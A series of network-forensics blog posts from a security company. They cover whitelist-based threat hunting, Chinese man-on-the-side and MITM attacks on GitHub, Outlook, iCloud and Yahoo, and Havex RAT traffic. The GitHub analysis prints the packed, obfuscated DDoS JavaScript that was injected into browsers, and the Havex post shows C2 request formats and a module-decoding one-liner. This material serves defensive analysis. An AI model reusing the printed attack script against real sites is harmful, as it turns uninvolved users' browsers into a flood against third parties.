I am a long time skeptic when it comes to blacklists and other forms of signature based detection mechanisms. The information security industry has also declared the signature based anti-virus approach dead several times during the past 10 years. Yet, we still rely on anti-virus signatures, IDS rules, IP blacklists, malware domain lists, YARA rules etc. to detect malware infections and other forms of intrusions in our networks. This outdated approach puts a high administrative burden on IT and security operations today, since we need to keep all our signature databases up to date, both when it comes to end point AV signatures as well as IDS rules and other signature based detection methods and threat feeds. Many organizations probably spend more time and money on updating all these blacklists and signature databases than actually investigating the security alerts these detection systems generate. What can I say; the world is truly upside down...

Shower image by Nevit Dilmen Image: Shower by Nevit Dilmen.

I would therefore like to use this blog post to briefly describe an effective blacklist-free approach for detecting malware and intrusions just by analyzing network traffic. My approach relies on a combination of whitelisting and common sense anomaly detection (i.e. not the academic statistical anomaly detection algorithms that never seem to work in reality). I also encourage CERT/CSIRT/SOC/SecOps units to practice Sun Tzu's old ”know yourself”, or rather ”know your systems and networks” approach.

Know your enemy and know yourself and you can fight a hundred battles without disaster.
- Sun Tzu in The Art of War
Art of War in Bamboo by vlasta2
Image: Art of War in Bamboo by vlasta2

My method doesn't rely on any dark magic, it is actually just a simple Rinse-Repeat approach built on the following steps:

  1. Look at network traffic
  2. Define what's normal (whitelist)
  3. Remove that
  4. GOTO 1.

After looping through these steps a few times you'll be left with some odd network traffic, which will have a high ratio of maliciousness. The key here is, of course, to know what traffic to classify as ”normal”. This is where ”know your systems and networks” comes in.

What Traffic is Normal?

I recently realized that Mike Poor seems to be thinking along the same lines, when I read his foreword to Chris Sanders' and Jason Smith's Applied NSM:

The next time you are at your console, review some logs. You might think... "I don't know what to look for". Start with what you know, understand, and don't care about. Discard those. Everything else is of interest.

Applied NSM

Following Mike's advice we might, for example, define“normal” traffic as:

  • HTTP(S) traffic to popular web servers on the Internet on standard ports (TCP 80 and 443).
  • SMB traffic between client networks and file servers.
  • DNS queries from clients to your name server on UDP 53, where the servers successfully answers with an A, AAAA, CNAME, MX, NS or SOA record.
  • ...any other traffic which is normal in your organization.

Whitelisting IP ranges belonging to Google, Facebook, Microsoft and Akamai as ”popular web servers” will reduce the dataset a great deal, but that's far from enough. One approach we use is to perform DNS whitelisting by classifying all servers with a domain name listed in Alexa's Top 1 Million list as ”popular”.

You might argue that such a method just replaces the old blacklist-updating-problem with a new whitelist-updating-problem. Well yes, you are right to some extent, but the good part is that the whitelist changes very little over time compared to a blacklist. So you don't need to update very often. Another great benefit is that the whitelist/rinse-repeat approach also enables detection of 0-day exploits and C2 traffic of unknown malware, since we aren't looking for known badness – just odd traffic.

Threat Hunting with Rinse-Repeat

Mike Poor isn't the only well merited incident handler who seems to have adopted a strategy similar to the Rinse-Repeat method; Richard Bejtlich (former US Air Force CERT and GE CIRT member) reveal some valuable insight in his book “The Practice of Network Security Monitoring”:

I often use Argus with Racluster to quickly search a large collection of session data via the command line, especially for unexpected entries. Rather than searching for specific data, I tell Argus what to omit, and then I review what’s left.

In his book Richard also mentions that he uses a similar methodology when going on “hunting trips” (i.e. actively looking for intrusions without having received an IDS alert):

Sometimes I hunt for traffic by telling Wireshark what to ignore so that I can examine what’s left behind. I start with a simple filter, review the results, add another filter, review the results, and so on until I’m left with a small amount of traffic to analyze.

The Practice of NSM

I personally find Rinse-Repeat Intrusion Detection ideal for threat hunting, especially in situations where you are provided with a big PCAP dataset to answer the classic question “Have we been hacked?”. However, unfortunately the “blacklist mentality” is so conditioned among incident responders that they often choose to crunch these datasets through blacklists and signature databases in order to then review thousands of alerts, which are full of false positives. In most situations such approaches are just a huge waste of time and computing power, and I'm hoping to see a change in the incident responders' mindsets in the future.

I teach this “rinse-repeat” threat hunting method in our Network Forensics Training. In this class students get hands-on experience with a dataset of 3.5 GB / 40.000 flows, which is then reduced to just a fraction through a few iterations in the rinse-repeat loop. The remaining part of the PCAP dataset has a very high ratio of hacking attacks as well as command-and-control traffic from RAT's, backdoors and botnets.

UPDATE 2015-10-07

We have now published a blog post detailing how to use dynamic protocol detection to identify services running on non-standard ports. This is a good example on how to put the Rinse-Repeat methodology into practice.

Posted by Erik Hjelmvik on Monday, 17 August 2015 08:45:00 (UTC/GMT)

Tags: #Rinse-Repeat #PCAP #NSM #PCAP #Intrusion Detection #IDS #network forensics

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Two-day Network Forensics Class in Stockholm

Network Forensics Training in Stockholm

We are running a two-day Network Forensics class in Stockholm on 15-16th of September. logo Our class is held the days before the SEC-T conference, which is a great technical information security conference in Stockholm, and at the same venue (Nalen). Visitors can thereby plan 4 days of training and conferencing in Stockholm without having to transfer between hotels.

The Network Forensics class consists of a mix of theory and hands-on labs, where students will learn to analyze Full Packet Capture (FPC) files. The scenarios in the labs are primarily focused at network forensics for incident response, but are also relevant for law enforcement/internal security etc. where the network traffic of a suspect or insider is being monitored.

You can find more information about the class here:

Posted by Erik Hjelmvik on Wednesday, 03 June 2015 21:30:00 (UTC/GMT)

Tags: #Netresec #PCAP #NSM #Network Forensics #Class #Training #SEC-T

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

T-shirt : PCAP or it didn't happen

We received the first batch of our awesome “PCAP or it didn't happen” T-shirts today!

PCAP or it didn't happen T-shirt

Tshirt specs:

  • Color: Black
  • Print: RJ45 socket in silver, "PCAP or it didn't happen" in white
  • Fabric: 100% cotton

Want one for yourself? Visit to order your own PCAP or it didn't happen t-shirt!

Posted by Erik Hjelmvik on Tuesday, 02 June 2015 20:00:00 (UTC/GMT)

Tags: #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

China's Man-on-the-Side Attack on GitHub

GitHub tweeting about DDoS attack

On March 27 The following message was posted on the official GitHub blog:

We are currently experiencing the largest DDoS (distributed denial of service) attack in's history. The attack began around 2AM UTC on Thursday, March 26, and involves a wide combination of attack vectors. These include every vector we've seen in previous attacks as well as some sophisticated new techniques that use the web browsers of unsuspecting, uninvolved people to flood with high levels of traffic. Based on reports we've received, we believe the intent of this attack is to convince us to remove a specific class of content.

We have looked closer at this attack and can conclude that China is using their active and passive network infrastructure in order to perform a packet injection attack, known as a man-on-the-side attack against GitHub. See our "TTL analysis" at the end of this blog post to see how we know this is a Man-on-the-side attack.

In short, this is how this Man-on-the-Side attack is carried out:

  1. An innocent user is browsing the internet from outside China.
  2. One website the user visits loads a JavaScript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics).
  3. The web browser's request for the Baidu JavaScript is detected by the Chinese passive infrastructure as it enters China.
  4. A fake response is sent out (3 packets injected) from within China instead of the actual Baidu Analytics script. This fake response is a malicious JavaScript that tells the user's browser to continuously reload two specific pages on

However, not all users loading JavaScripts from inside China are attacked in this way. Our analysis shows that only about 1% of the requests for the Baidu Analytics script are receiving the malicious JavaScript as response. So in 99% of the cases everything behaves just like normal.

We managed to get a browser to load the malicious JavaScript simply by browsing a few Chinese websites. After the JavaScript loaded we observed the following behavior in our network traffic: CapLoader Gantt chart of traffic generated by the malicious JavaScriptImage: CapLoader Gantt chart of traffic generated by the malicious JavaScript

The script got our browser to connect to (IP address 192.30.252.[128-131]) in an infinite loop.

Baidu Analytics

The Baidu Analytics script can be loaded from URLs like: (normal version) (asynchronous version)

The proper JavaScript received when requesting such an URL should look like this: Baidu Analytics script in CapLoader Image: CapLoader flow transcript of the Baidu Analytics script

The injected response with the malicious JavaScript looks like this: Malicious JavaScript in CapLoader Image: CapLoader flow transcript of the malicious JavaScript

The injected response is actually exactly the same every time, consisting of three TCP packets with the following payload:

Injected packet #1:

HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130

Injected packet #2:

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou

Injected packet #3:

The malicious JavaScript is somewhat obfuscated, but some simple deobfuscation leaves us with the following code: Deobfuscated JavaScript

As can be seen in the code, the two targeted URLs are and, which are mirror sites for and the Chinese New York Times. GreatFire and NYT both use GitHub to circumvent the online censorship performed by the Great Firewall of China (GFW).

TTL Analysis

Time-To-Live (TTL) analysis is a powerful method that can be used in order to analyze Man-in-the-Middle as well as Man-on-the-Side attacks. We've used this method before when analyzing the Chinese MITM attacks on iCloud, Yahoo, Google and GitHub.

What is interesting with this new attack on GitHub is that the attackers are now trying to make it difficult to locate the injection point of the malicious JavaScript by modifying the IP TTL values of injected packets.

The following Tshark output prints Source-IP, Destination-IP, TCP-Flags and IP-TTL in four columns (comments in yellow):

tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl 0x0002 64 <- SYN (client) 0x0012 42 <- SYN+ACK (server) 0x0010 64 <- ACK (client) 0x0018 64 <- HTTP GET (client) 0x0018 227 <- Injected packet 1 (injector) 0x0010 64 0x0018 228 <- Injected packet 2 (injector) 0x0019 229 <- Injected packet 3 (injector) 0x0010 64 0x0011 64

Notice how the TTL of the SYN+ACK packet from the server is 42, while the three injected packets with payload have TTL values of 227, 228 and 229?

Here is another PCAP file where injected packets have low TTL values:

tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl 0x0002 64 <- SYN (client) 0x0012 42 <- SYN+ACK (server) 0x0010 64 <- ACK (client) 0x0018 64 <- HTTP GET (client) 0x0018 30 <- Injected packet 1 (injector) 0x0010 64 0x0018 31 <- Injected packet 2 (injector) 0x0019 32 <- Injected packet 3 (injector) 0x0010 64 0x0011 64

The server's SYN+ACK packet stays at an IP TTL of 42 pretty much throughout our whole analysis, but the TTL of packets carrying the malicious payload varied between 30 and 229. This behavior implies that the SYN+ACK packet we are seeing is coming from the actual Baidu server, while the packets carrying the malicious payload are injected somewhere else.

As we've mentioned before the three injected packets are always carrying identical payloads and the only thing that changes in between sessions is basically the target TCP port. This further strengthens our assumption that these three packets are being injected. We even tried dropping one of the injected packets and thereby requesting a retransmission of that packet from the server, but we got nothing back. This too is a typical artifact showing that the malicious JavaScript has been delivered through injected packets as part of a Man-on-the-Side attack as opposed to coming from the actual Baidu server.

Additional Sources for the Malicious JS

The Baidu Analytics is not the only script that has been replaced with a malicious one. Users have also reported JavaScript replacements of Baidu Ads as well as several other services. In's technical analysis of the DDoS attack against them they mention that they have seen JavaScripts being replaced for URLs like:

  • ...
  • ...

These domains are all owned by Baidu, but technically any JavaScript from any site in China could have been exploited to perform this sort of packet injection attack.

Great Wall of China by beggs


This attack demonstrates how the vast passive and active network filtering infrastructure in China, known as the Great Firewall of China or "GFW", can be used in order to perform powerful DDoS attacks. Hence, the GFW cannot be considered just a technology for inspecting and censoring the Internet traffic of Chinese citizens, but also a platform for conducting DDoS attacks against targets world wide with help of innocent users visiting Chinese websites.

UPDATE - April 2'nd

Robert Graham of Errata Security has now verified our conclusion, that the attack is coming from China, by performing an "http-traceroute". Robert writes:

Using my custom http-traceroute, I've proven that the man-in-the-middle machine attacking GitHub is located on or near the Great Firewall of China. While many explanations are possible, such as hackers breaking into these machines, the overwhelmingly most likely suspect for the source of the GitHub attacks is the Chinese government.

UPDATE - April 13'th

Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert and Vern Paxson have published their research about this new cyber weapon, which they have dubbed the "Great Cannon" (GC). In their blog post they confirm our findings regarding odd TTL values in the injected packets:

The packets injected by the [Great Cannon] also have the same peculiar TTL side-channel as those injected by the GFW, suggesting that both the GFW and the GC likely share some common code.

For more details on the TTL side-channel of the GFW, please read the Usenix FOCI '14 paper Towards a Comprehensive Picture of the Great Firewall’s DNS Censorship.

Even though the authors of the "Great Cannon" blog post claim that GC is not part of GFW they still confirm that they are co-located:

[T]he shared source code and co-location between the GFW and GC suggest that the GC could have been developed within the same institutional framework as the GFW.

They also traced the path to the GFW and GC:

For, the GFW and the GC both exist between hop 12 and 13, on the link between and, as the traffic enters China Telecom. For, the GFW and GC both exist between hop 17 and 18, on the link between and, belonging to China Unicom.

This confirms that the GC is located within the same ASN's as where we've previously seen the GFW perform SSL MITM attacks, which is in AS4134 (China Telecom) and AS4837 (China Unicom).

They also published several PCAP files, where they interact with the GFW and GC:

UPDATE - April 25'th

Niels Provos at Google posted an interesting report about the DDoS called A Javascript-based DDoS Attack as seen by Safe Browsing. In the report he shows that the packet injection rate wasn't fixed at 1 percent, it actually reached 17.5 percent for a few days when was being attacked.

GFW packet injections over time. Source: Niels Provos, Google
Image by Niels Provos, at Google

Niels also provided additional details regarding the domains that were spoofed by the GFW to deliver the malicious javascript throug packet injection:

  • (
  • (
  • (
  • (
  • (
  • (
  • (
  • (

If you would like to learn how to detect and analyze man-on-the-side attacks, then we recommend that you sign up for our two-day Network Forensics Class.

Posted by Erik Hjelmvik on Tuesday, 31 March 2015 01:15:00 (UTC/GMT)

Tags: #GFW #GitHub #China #packet injection #MOTS #MITM #Netresec #PCAP #AS4134 #AS4837

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Chinese MITM attack on

An illustration from supplement to 'Le Petit Journal', 16th January 1898.

We were contacted by earlier today regarding a new Chinese man-in-the-middle (MITM) attack. This time the perpetrators decrypted traffic between Chinese users and Microsoft's IMAP mail server for As evidence provided us with a packet capture file, which we have analyzed.

Our conclusion is that this was a real attack on Microsoft's email service. Additionally, the attack is very similar to previous nationwide Chinese attacks on SSL encrypted traffic, such as the attack on Google a few months ago. Details such as email address, email password, email contents, email attachments and contacts may have been compromised in this attack. We do not know the scale of the attack, it could be anything from a fairly targeted attack to a nation wide attack in China. What we do know is that there are several users who have been subjected to the MITM attack and posted screenshots online.

Technical Analysis

Attacked IP Address: (
Attacked Protocol: SSL encryption of IMAPS (TCP 993)
Date of Attack: 2015-01-18
PCAP File:

In our technical analysis we first extracted the x509 certificates from the SSL traffic by loading the capture file into NetworkMinerCLI. We then parsed the extracted certificates with OpenSSL.

$ mono /opt/NetworkMinerProfessional_1-6-1/NetworkMinerCLI.exe -r Outlook_MITM_2015-01-18.pcapng
Closing file handles...
84 frames parsed in 0.888754 seconds.
$ ls AssembledFiles/\ -\ TCP\ 993/*.cer
AssembledFiles/ - TCP 993/[1].cer
AssembledFiles/ - TCP 993/[2].cer
AssembledFiles/ - TCP 993/
$ openssl x509 -inform DER -in AssembledFiles/\ -\ TCP\ 993/ -noout -issuer -subject -startdate -fingerprint
issuer= /CN=*
subject= /CN=*
notBefore=Jan 15 16:00:00 2015 GMT
SHA1 Fingerprint=75:F4:11:59:5F:E9:A2:1A:17:A4:96:7C:7B:66:6E:51:52:79:1A:32

When looking at the timestamps in the capture file we noticed that the SSL server's reply to the 'Client Hello' was very slow; response times varied between 14 and 20 seconds. Under normal circumstances the 'Server Hello' arrives within 0.3 seconds after the 'Client Hello' has been sent.

$ tshark -nr ./Outlook_MITM_2015-01-18.pcapng -Y 'ssl.handshake.type lt 3'
8 9.023876000 -> SSL 265 Client Hello
17 26.885504000 -> TLSv1 576 Server Hello, Certificate, Server Hello Done
45 101.747755000 -> SSL 265 Client Hello
49 116.258483000 -> TLSv1 576 Server Hello, Certificate, Server Hello Done
63 116.338420000 -> SSL 265 Client Hello
65 136.119127000 -> TLSv1 576 Server Hello, Certificate, Server Hello Done

This is slow SSL response is consistent with previous SSL MITM attacks conducted with support of the Great Firewall of China (GFW).

For more details on this attack, please see the Reuters story "After Gmail blocked in China, Microsoft's Outlook hacked" and GreatFire's own blog post "Outlook grim - Chinese authorities attack Microsoft".

Posted by Erik Hjelmvik on Monday, 19 January 2015 22:55:00 (UTC/GMT)

Tags: #Netresec #PCAP #PCAPNG #GFW #MITM #China #Hotmail #IMAP #SSL

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Observing the Havex RAT

Havex RAT, original 'Street-rat' by Edal Anton Lefterov. Licensed under Creative Commons Attribution-Share Alike 3.0

It has, so far, been publicly reported that three ICS vendors have spread the Havex Remote-Access-Tool (RAT) as part of their official downloads. We've covered the six pieces of software from these three vendors in our blog post ”Full Disclosure of Havex Trojans”. In this blog post we proceed by analyzing network traffic generated by Havex.

Indicators of Compromise

Before going into details of our analysis we'd like to recommend a few other resources that can be used to detect the Havex RAT. There are three Havex IDS signatures available via Emerging Threats. There are also Yara rules and OpenIOC signatures available for Havex. Additionally, the following domains are known to be used in the later versions (043 and 044) of Havex according to Kaspersky:


HTTP Command-and-Control

The Havex RAT Command-and-Control (C2) protocol is based on HTTP POST requests, which typically look something like this:

POST /blogs/wp-content/plugins/buddypress/bp-settings/bpsettings-src.php?id=84651193834787196090098FD80-c8a7af419640516616c342b13efab&​v1=043&​v2=170393861&​q=45474bca5c3a10c8e94e56543c2bd

As you can see, four variables are sent in the QueryString of this HTTP POST request; namely id, v1, v2 and q. Let's take a closer look to see what data is actually sent to the C2 server in the QueryString.

Param Description Common Values
id host identifier id=[random number][random hex]-c8a7af419640516616c342b13efab
id=[random number][random-hex]-003f6dd097e6f392bd1928066eaa3
v1 Havex version 043
v2 Windows version 170393861 (Windows XP)
498073862 (Windows 7)
498139398 (Windows 7, SP1)
q Unknown q=45474bca5c3a10c8e94e56543c2bd (Havex 043)
q=0c6256822b15510ebae07104f3152 (Havex 043)
q=214fd4a8895e07611ab2dac9fae46 (Havex 044)
q=35a37eab60b51a9ce61411a760075 (Havex 044)

Analyzing a Havex PCAP

I had the pleasure to discuss the Havex Malware with Joel Langill, when we met at the 4SICS conference in Stockholm last month. Joel was nice enough to provide me with a 800 MB PCAP file from when he executed the Havex malware in an Internet connected lab environment.

CapLoader Transcript of Havex C2 traffic
Image: CapLoader transcript of Havex C2 traffic

I used the command line tool NetworkMinerCLI (in Linux) to automatically extract all HTTP downloads from Joel's PCAP file to disk. This way I also got a CSV log file with some useful metadata about the extracted files. Let's have a closer look at what was extracted:

$ mono NetworkMinerCLI.exe -r new-round-09-setup.pcap
Closing file handles...
970167 frames parsed in 1337.807 seconds.

$ cut -d, -f 1,2,3,4,7,12 new-round-09-setup.pcap.FileInfos.csv | head

SourceIP   SourcePort  DestinationIP  DestinationPort FileSize   Frame   TCP 80   TCP 1238   244 676 B       14   TCP 80   TCP 1261       150 B     1640   TCP 80   TCP 1286   359 508 B     3079   TCP 80   TCP 1311   236 648 B     4855   TCP 80   TCP 1329       150 B    22953   TCP 80   TCP 1338       150 B    94678   TCP 80   TCP 1346       150 B   112417   TCP 80   TCP 1353       150 B   130108   TCP 80   TCP 1365       150 B   147902

Files downloaded through Havex C2 communication are typically modules to be executed. However, these modules are downloaded in a somewhat obfuscated format; in order to extract them one need to do the following:

  • Base64 decode
  • Decompress (bzip2)
  • XOR with ”1312312”

To be more specific, here's a crude one-liner that I used to calculate MD5 hashes of the downloaded modules:

$ tail -c +95 C2_download.html | base64 -d | bzcat -d | xortool-xor -s "1312312" -f - -n | tail -c +330 | md5sum

To summarize the output from this one-liner, here's a list of the downloaded modules in Joel's PCAP file:

Downloaded HTML MD5 Extracted module MD5

All three extracted modules are known binaries associated with Havex. The third module is one of the Havex OPC scanner modules, let's have a look at what happens on the network after this module has been downloaded!

Analyzing Havex OPC Traffic

In Joel's PCAP file, the OPC module download finished at frame 5117. Less then a second later we see DCOM/MS RPC traffic. To understand this traffic we need to know how to interpret the UUID's used by MS RPC.

Marion Marschalek has listed 10 UUID's used by the Havex OPC module in order to enumerate OPC components. However, we've only observed four of these commands actually being used by the Havex OPC scanner module. These commands are:


Of these commands the ”IOPC Browse” is the ultimate goal for the Havex OPC scanner, since that's the command used to enumerate all OPC tags on an OPC server. Now, let's have a look at the PCAP file to see what OPC commands (i.e. UUID's) that have been issued.

$ tshark -r new-round-09-setup.first6000.pcap -n -Y 'dcerpc.cn_bind_to_uuid != 99fcfec4-5260-101b-bbcb-00aa0021347a' -T fields -e frame.number -e ip.dst -e dcerpc.cn_bind_to_uuid -Eoccurrence=f -Eheader=y  ip.dst      dcerpc.cn_bind_to_uuid
5140  000001a0-0000-0000-c000-000000000046
5145  000001a0-0000-0000-c000-000000000046
5172  000001a0-0000-0000-c000-000000000046
5185  9dd0b56c-ad9e-43ee-8305-487f3188bf7a
5193  000001a0-0000-0000-c000-000000000046
5198  55c382c8-21c7-4e88-96c1-becfb1e3f483
5212  00000143-0000-0000-c000-000000000046
5247  000001a0-0000-0000-c000-000000000046
5257  00000143-0000-0000-c000-000000000046
5269  00000143-0000-0000-c000-000000000046
5274  39c13a4d-011e-11d0-9675-0020afd8adb3
5280  39c13a4d-011e-11d0-9675-0020afd8adb3
5285  39227004-a18f-4b57-8b0a-5235670f4468
5286  39227004-a18f-4b57-8b0a-5235670f4468

We can thereby verify that the IOPCBrowse command was sent to one of Joel's OPC servers in frame 5285 and 5286. However, tshark/Wireshark is not able to parse the list of OPC items (tags) that are returned from this function call. Also, in order to find all IOPCBrowse commands in a more effective way we'd like to search for the binary representation of this command with tools like ngrep or CapLoader. It would even be possible to generate an IDS signature for IOPCBrowse if we'd know what to look for.

The first part of an MSRPC UUID is typically sent in little endian, which means that the IOPCBrowse command is actually sent over the wire as:

04 70 22 39 8f a1 57 4b 8b 0a 52 35 67 0f 44 68

Let's search for that value in Joel's PCAP file:

CapLoader 1.2 Find Keyword Window
Image: Searching for IOPCBrowse byte sequence with CapLoader

CapLoader 1.2 flow view
Image: CapLoader with 169 extracted flows matching IOPCBrowse UUID

Apparently 169 flows contain one or several packets that match the IOPCBrowse UUID. Let's do a “Flow Transcript” and see if any OPC tags have been sent back to the Havex OPC scanner.

CapLoader 1.2 Transcript of OPC-DA session
Image: CapLoader Transcript of OPC-DA session

Oh yes, the Havex OPC scanner sure received OPC tags from what appears to be a Waterfall unidirectional OPC gateway.

Another way to find scanned OPC tags is to search for a unique tag name, like “Bucket Brigade” in this example.

Posted by Erik Hjelmvik on Wednesday, 12 November 2014 21:09:00 (UTC/GMT)

Tags: #Havex #PCAP #NSM #ICS #C2 #NetworkMinerCLI #CapLoader

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Chinese MITM Attack on iCloud

Users in China are reporting a MITM attacks on SSL connections to iCloud., who monitor the Great Firewall of China (GFW), also published a blog post on their website earlier today saying:

This is clearly a malicious attack on Apple in an effort to gain access to usernames and passwords and consequently all data stored on iCloud such as iMessages, photos, contacts, etc.

Fake SSL Certificate

In their blog post GreatFire also linked a packet capture file, which we have analyzed in order to verify the MITM attack. We loaded the PcapNG file into NetworkMiner Professional and extracted the X.509 SSL certificate.

NetworkMiner with fake iCloud certificate

The extracted certificate can be downloaded from here. Also, here are a few details from this X.509 certificate:

$ openssl x509 -inform DER -in -noout -issuer -subject -startdate -enddate -fingerprint
issuer= /C=cn/
subject= /C=cn/
notBefore=Oct 4 10:35:47 2014 GMT
notAfter=Oct 4 10:35:47 2015 GMT
SHA1 Fingerprint=F4:68:B5:F3:FE:D8:07:97:44:76:A2:2B:32:EA:31:37:D9:24:F7:BA

As reported elsewhere, the certificate was self signed, which means that browsers and most iPhone apps will either inform the user about the connection being unsafe or simply close the connection (see update at the bottom of this blog post regarding the missing certificate verification in Apple iOS). This use of self signed certificates is consistent with previous SSL MITM attacks performed in China against GitHub, Google, Yahoo and

Location of the MITM Attack

By looking at host the information provided by NetworkMiner for the fake iCloud SSL server we can see that it is just six router hops away from the client (having an IP TTL value of 58). This indicates that the MITM attack is being performed within China, since we'd expect to see at least three more router hops if the packets were coming from outside China.

NetworkMiner showing host details for MITM'ed iCloud server

The same PCAP file also contains packets from the same IP address on TCP port 80, which have traveled 11 hops (IP TTL 53). We therefore assume that only traffic to TCP port 443 is being MITM'ed.

This TTL analysis also matches various TCP traceroutes we've seen to the MITM'ed iCloud SSL service on

                        My traceroute [v0.85]
siyanmao-k29 (                        Sat Oct 18 19:26:07 2014

Host                          Loss% Snt  Last   Avg  Best  Wrst StDev
1.                0.0%   17   0.6   0.7   0.6   0.8   0.0
2. -------------              0.0%   16   2.8   2.6   1.7   3.3   0.3
3. -------------              0.0%   16   2.0   2.2   1.4   4.0   0.4
4. ???
5.              0.0%   16   6.4   7.7   4.3  27.0   5.2
6.               25.0%   16 168.5 171.4 166.8 201.3   9.4
mtr TCP 443 traceroute to (source:

The mtr TCP traceroute above indicates that MITM attacks are performed in AS4134 (China Telecom).

bearice@Bearice-Mac-Air-Haswell ~
%tcptraceroute 443
Selected device en0, address, port 52406 for outgoing packets
Tracing the path to on TCP port 443 (https), 30 hops max
1 1.737 ms 0.793 ms 0.798 ms
2 2.893 ms 2.967 ms 2.422 ms
3 2.913 ms 2.893 ms 3.968 ms
4 4.824 ms 2.658 ms 3.902 ms
5 3.626 ms 6.532 ms 3.794 ms
6 27.539 ms 26.821 ms 27.661 ms
7 ( [open] 30.064 ms 29.899 ms 30.126 ms
tcptraceroute to 443 (source: bearice on GitHub)

The tcptraceroute above indicates that MITM attacks are also performed in AS4837 (China Unicom).

Tcproute by @chenshaoju
Tcproute traceroute to on TCP 443 (source: @chenshaoju)

The Tcproute screenshot above shows that also CHINANET backbone network (China Telecom) seems to be used to carry out the MITM attacks.

Judging from these TCP traceroutes the MITM attacks seem to be taking place at several different locations rather centrally in the Chinese Internet infrastructure. To be more specific, it appears as if the MITM attacks are being performed on backbone networks belonging to China Telecom (CHINANET) as well as China Unicom.

UPDATE (October 22)

A vulnerability notice (CVE-2014-4449) has now been published, where Apple confirm that fake SSL certificates (like the Chinese fake one) were not verified by Apple iOS before 8.1. Apple released the first details about this vulnerability just a few hours after this blog post was published. Here's the text from the CVE description:

iCloud Data Access in Apple iOS before 8.1 does not verify X.509 certificates from TLS servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.
This means that the Chinese MITM of iCloud could potentially have revealed a significant number of iCloud credentials as well as private data (images, videos, documents etc) to the attackers. Or, as @Exploit_This tweeted: "So china wants our nudes?"

Posted by Erik Hjelmvik on Monday, 20 October 2014 13:35:00 (UTC/GMT)

Tags: #Netresec #PCAP #GFW #China #PcapNG #MITM #NetworkMiner #AS4837 #AS4134

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Verifying Chinese MITM of Yahoo

Yahoo Umbrella sent out a tweet yesterday saying that “Yahoo appears to under Man-in-the-middle attack in China. 3rd case of country-wide MITM, after Google, Github”.

Mashable later ran a story called “China Appears to Attack Yahoo in Latest Censorship of Hong Kong Protests”, where Lorenzo Franceschi-Bicchierai write:

In what's almost unprecedented, China appears to be targeting Yahoo with what's called a "man-in-the-middle attack." With such an attack, connections to, which are normally encrypted, would be vulnerable to snooping, and Chinese censors could also block search terms or specific Yahoo links with the goal of preventing Chinese netizens from accessing information about the protests in Hong Kong.

In this blog post we verify that there is an ongoing Man-in-the-Middle (MITM) attack by analyzing two different packet capture files.

Capture LocationCapture DateFilenameMD5
Wuxi, China 2014-09-30
10:15 (UTC)
Yahoo.pcapng5633a0cce5955b44 18189fe3fd27847d
Zhengzhou, China2014-09-30
11:35 (UTC)
YahooMITM.pcapng722ca9b7837416ef 2391b48edd20d24e

Both PCAP files were created with Wireshark/dumpcap using a capture filter of “host”, which is the IP address that was reported to be MITM'ed by the Great Firewall of China (GFW). This IP address is located in Hong Kong and is used by Yahoo to host, etc. for users in this part of Asia.

Time-To-Live (TTL) Analysis

We estimate the distance between the end users and the Yahoo server in Hong Kong to be at least 10 router hops. However, the IP packets coming back to the users have IP TTL values of 58 (Wuxi) and 57 (Zhengzhou). This implies that the MITM is performed somewhere in China, just 6 or 7 router hops away from the users. This is consistent with what we've observed in previous MITM attacks performed by China against GitHub and Google.

CapLoader 1.2 Hosts tab with
IMAGE: Hosts tab in CapLoader showing TTL 57 for

X.509 Certificate Analysis

We have extracted a X.509 certificate from one of the PcapNG files to a .cer file using NetworkMiner. This SSL certificate is available for download here.

$ openssl x509 -inform DER -in -noout -issuer -subject -startdate -enddate -fingerprint
issuer= /C=cn/
subject= /C=cn/
notBefore=Sep 23 11:30:17 2014 GMT
notAfter=Sep 23 11:30:17 2015 GMT
SHA1 Fingerprint=22:90:C3:11:EA:0F:3F:57:E0:6D:F4:5B:69:8E:18:E8:28:E5:9B:C3

The certificate is a self signed certificate for “”. The fact that the MITM uses a self signed certificate makes the attack easily detectable even for the non-technical user, since the web browser will typically display a warning about the site not being trusted.

